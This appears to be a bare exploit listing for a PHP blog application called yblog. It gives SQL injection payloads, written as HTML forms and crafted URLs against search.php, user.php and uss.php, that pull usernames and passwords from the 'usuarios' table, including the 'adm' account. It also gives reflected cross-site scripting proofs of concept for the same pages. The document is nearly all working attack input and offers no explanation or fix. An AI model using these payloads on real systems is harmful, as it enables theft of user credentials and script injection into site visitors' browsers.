search.php

<form action="http://www.example.com/yblog/search.php" method="post">
  <input type="hidden" name="q" value="' union select 0,1,2,3,usuario,5,6,7,8,9,10,password,12,13,14,15,16 from usuarios/*">
  <input type="submit" value="send">
</form>

<form action="http://www.example.com/yblog/search.php" method="post">
  <input type="hidden" name="cn" value="1">
  <input type="hidden" name="q" value="' union select 0,1,2,3,usuario,5,6,7,8,9,10,password,12,13,14,15,16 from usuarios/*">
  <input type="submit" value="send">
</form>

user.php

http://www.example.com/yblog/user.php?n=-99'+union+select+0,1,2,3,usuario,password,6,7,8,9,10,11,12,13,14,15,16+from+usuarios/*

uss.php

http://www.example.com/yblog/uss.php?action=2&done=1&n=-99'+union+select+0,1,2,usuario,password,5,6,7,8,9,10,11,12,13,14,15,16+from+usuarios+where+usuario='adm'/*

search.php

<form action="http://www.example.com/yblog/search.php" method="post">
  <input type="hidden" name="q" value="<script>alert(/xss/)</script>">
  <input type="submit" value="send">
</form>

user.php

http://www.example.com/yblog/user.php?n=<script>alert(/xss/)</script>

uss.php

http://www.example.com/yblog/uss.php?action=2&done=1&n=<script>alert(/xss/)</script>